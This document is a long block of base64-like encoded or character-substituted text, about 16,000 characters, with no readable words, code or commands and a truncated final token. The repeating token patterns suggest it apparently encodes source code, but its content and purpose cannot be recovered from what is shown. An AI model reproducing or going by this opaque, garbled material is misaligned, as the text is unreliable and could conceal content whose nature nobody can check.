w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+04b+14b+q4b6w4b6t4b6w4b+24b+54b++4b+x4b+84b+o4b+L4b6h4b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+94b+54b+04b+z4b+/4b+04b6w4b6t4b6w4b+z4b+/4b+04b+14b+m4b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+44b+/4b+j4b+k4b+j4b+/4b+l4b+i4b+z4b+14b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+p4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6w4b674b6w4b6y4b6u4b6y4b6w4b674b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+z4b+/4b+04b+14b+q4b684b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+Z4b++4b+k4b6j4b6i4b644b+/4b+l4b+k4b+g4b+l4b+k4b654b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+o4b+z4b+/4b+04b+14b+o4b6w4b6t4b6w4b+z4b+/4b+04b+14b+p4b6w4b674b6w4b+94b+54b+04b+z4b+/4b+04b6w4b674b6w4b+z4b+/4b+04b+14b+q4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+/4b+/4b+84b6w4b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b+o4b+z4b+/4b+04b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+94b+x4b+74b+14b+14b+o4b+14b6w4b6t4b6t4b6w4b+24b+x4b+84b+j4b+14b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+44b+i4b+/4b+n4b6w4b++4b+14b+n4b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+Z4b++4b+m4b+x4b+84b+54b+04b+A4b+i4b+/4b+34b+i4b+x4b+94b+V4b+o4b+z4b+14b+g4b+k4b+54b+/4b++4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b6+4b+D4b+14b+k4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b684b6w4b++4b+14b+n4b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b644b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+J4b+14b+x4b+i4b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+d4b+/4b++4b+k4b+44b684b6w4b+U4b+x4b+k4b+14b+E4b+54b+94b+14b6+4b+e4b+/4b+n4b6+4b+U4b+x4b+p4b684b6w4b6m4b684b6w4b6m4b684b6w4b6m4b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+m4b+/4b+54b+04b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+04b+/4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+W4b+54b+84b+14b+Z4b++4b+24b+/4b+L4b+N4b6w4b+24b+54b+84b+14b+j4b+o4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+W4b+54b+84b+14b+j4b644b6y4b664b6+4b+14b+o4b+14b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+W4b+54b+84b+14b+Z4b++4b+24b+/4b6w4b+p4b+24b+54b+84b+14b+o4b6w4b+54b++4b6w4b+24b+54b+84b+14b+j4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b6w4b6t4b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+W4b+l4b+84b+84b+e4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b6+4b+X4b+14b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+e4b+x4b+94b+14b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+Y4b+/4b+l4b+i4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+d4b+54b++4b+l4b+k4b+14b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b674b6w4b+p4b+24b+54b+84b+14b+o4b6+4b+c4b+x4b+j4b+k4b+H4b+i4b+54b+k4b+14b+E4b+54b+94b+14b6+4b+D4b+14b+z4b+/4b++4b+04b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6w4b6t4b6t4b6w4b6y4b6m4b6m4b6m4b6y4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b++4b+24b+14b+z4b+k4b644b+24b+54b+84b+14b++4b+x4b+94b+14b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b+l4b++4b+k4b+14b+i4b674b674b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b+L4b+N4b6w4b+04b+54b+i4b+j4b6w4b6t4b6w4b+04b+/4b+p4b6+4b+X4b+14b+k4b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+54b+14b+j4b644b6y4b664b6+4b664b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+U4b+54b+i4b+14b+z4b+k4b+/4b+i4b+p4b+Z4b++4b+24b+/4b6w4b+o4b+04b+54b+i4b6w4b+54b++4b6w4b+04b+54b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+k4b+i4b+p4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+z4b+/4b+l4b++4b+k4b+14b+i4b6w4b6t4b6t4b6w4b6l4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+R4b++4b+04b+c4b+14b+k4b+j4b+C4b+/4b+z4b+74b644b+o4b+04b+54b+i4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+x4b+k4b+z4b+44b6w4b+r4b6w4b+z4b+/4b++4b+k4b+54b++4b+l4b+14b6r4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+y4b+/4b+/4b+84b6w4b+S4b+l4b+54b+84b+04b+V4b+o4b+14b644b+j4b+k4b+i4b+54b++4b+34b6w4b+q4b++4b+x4b+94b+14b684b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+z4b+/4b+04b+14b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+Z4b+T4b+/4b+04b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6w4b+m4b+54b+z4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+D4b+44b+x4b+i4b+g4b+T4b+/4b+04b+14b+A4b+i4b+/4b+m4b+54b+04b+14b+i4b644b654b6+4b+T4b+i4b+14b+x4b+k4b+14b+T4b+/4b+94b+g4b+54b+84b+14b+i4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b6w4b+/4b+z4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+A4b+x4b+i4b+x4b+94b+14b+k4b+14b+i4b+j4b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+C4b+14b+24b+14b+i4b+14b++4b+z4b+14b+04b+R4b+j4b+j4b+14b+94b+y4b+84b+54b+14b+j4b6+4b+R4b+04b+04b644b6y4b+D4b+p4b+j4b+k4b+14b+94b6+4b+04b+84b+84b6y4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+X4b+14b++4b+14b+i4b+x4b+k4b+14b+V4b+o4b+14b+z4b+l4b+k4b+x4b+y4b+84b+14b6w4b6t4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+f4b+g4b+k4b+54b+/4b++4b+j4b6w4b6t4b6w4b6y4b6/4b+k4b+x4b+i4b+34b+14b+k4b6q4b+n4b+54b++4b+14b+o4b+14b6y4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+z4b+g4b6+4b+f4b+l4b+k4b+g4b+l4b+k4b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b6w4b6t4b6w4b+q4b++4b+x4b+94b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+C4b+14b+j4b+l4b+84b+k4b+j4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6w4b6t4b6w4b+m4b+54b+z4b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+R4b+j4b+j4b+14b+94b+y4b+84b+p4b+W4b+i4b+/4b+94b+D4b+/4b+l4b+i4b+z4b+14b644b+/4b+z4b+g4b684b6w4b+z4b+/4b+04b+14b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b+14b+x4b+z4b+44b6w4b644b+T4b+/4b+94b+g4b+54b+84b+14b+i4b+V4b+i4b+i4b+/4b+i4b6w4b+o4b+m4b+z4b+14b6w4b+54b++4b6w4b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b6+4b+H4b+i4b+54b+k4b+14b+c4b+54b++4b+14b644b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+e4b+l4b+94b+y4b+14b+i4b6w4b674b6w4b6y4b6q4b6w4b6y4b6w4b674b6w4b+o4b+m4b+z4b+14b6+4b+V4b+i4b+i4b+/4b+i4b+E4b+14b+o4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+54b+24b6w4b644b+q4b+i4b+14b+j4b+l4b+84b+k4b+j4b6+4b+V4b+i4b+i4b+/4b+i4b+j4b6+4b+T4b+/4b+l4b++4b+k4b6w4b6t4b6t4b6w4b6g4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+k4b+i4b+l4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+14b+84b+j4b+14b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+24b+x4b+84b+j4b+14b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+14b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+/4b++4b++4b+p4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+y4b+p4b+k4b+14b+L4b+N4b6w4b+g4b+84b+x4b+54b++4b+o4b6w4b6t4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+W4b+i4b+/4b+94b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+04b+/4b++4b++4b+p4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6+4b+F4b+E4b+W4b6o4b6+4b+X4b+14b+k4b+D4b+k4b+i4b+54b++4b+34b644b+g4b+84b+x4b+54b++4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+V4b++4b+z4b+i4b+p4b+g4b+k4b+U4b+14b+z4b+i4b+p4b+g4b+k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b684b6w4b+54b++4b+k4b6w4b+o4b+74b+14b+p4b+o4b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+54b++4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b6w4b+/4b+l4b+k4b+D4b+y4b6w4b6t4b6w4b++4b+14b+n4b6w4b+D4b+k4b+i4b+54b++4b+34b+S4b+l4b+54b+84b+04b+14b+i4b644b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+44b+x4b+i4b6w4b+z4b+94b+94b+94b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+24b+/4b+i4b6w4b644b+54b++4b+k4b6w4b+54b+94b+94b+94b6w4b6t4b6w4b6g4b6r4b6w4b+54b+94b+94b+94b6w4b6s4b6w4b+k4b+14b+o4b+k4b+E4b+/4b+V4b++4b+z4b+i4b+p4b+g4b+k4b6+4b+c4b+14b++4b+34b+k4b+44b6r4b6w4b+54b+94b+94b+94b674b674b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b+54b++4b+D4b+y4b+L4b+54b+94b+94b+94b+N4b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+z4b+94b+94b+94b6w4b6t4b6w4b644b+z4b+44b+x4b+i4b654b644b+z4b+94b+94b+94b6w4b+O4b6w4b+o4b+74b+14b+p4b+o4b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+R4b+g4b+g4b+14b++4b+04b644b+z4b+94b+94b+94b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+/4b+l4b+k4b+D4b+y4b6+4b+E4b+/4b+D4b+k4b+i4b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+14b++4b+z4b+/4b+04b+14b+y4b6m4b6k4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+34b+34b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b6w4b+R4b+V4b+g4b6w4b6t4b6w4b++4b+14b+n4b6w4b+F4b+E4b+W4b6o4b+V4b++4b+z4b+/4b+04b+54b++4b+34b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+i4b+14b+k4b+l4b+i4b++4b6w4b+T4b+/4b++4b+m4b+14b+i4b+k4b6+4b+E4b+/4b+S4b+x4b+j4b+14b6m4b6k4b+D4b+k4b+i4b+54b++4b+34b644b+R4b+V4b+g4b6+4b+X4b+14b+k4b+S4b+p4b+k4b+14b+j4b644b+34b+34b+34b654b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+g4b+/4b+84b+p4b+o4b644b+j4b+k4b+i4b+54b++4b+34b6w4b+64b+p4b+l4b+34b654b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+C4b+x4b++4b+04b+/4b+94b6w4b+o4b+i4b+x4b++4b+o4b6w4b6t4b6w4b++4b+14b+n4b6w4b+C4b+x4b++4b+04b+/4b+94b644b654b6r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b6w4b+j4b+k4b+i4b+54b++4b+34b+L4b+N4b6w4b+34b+44b+/4b+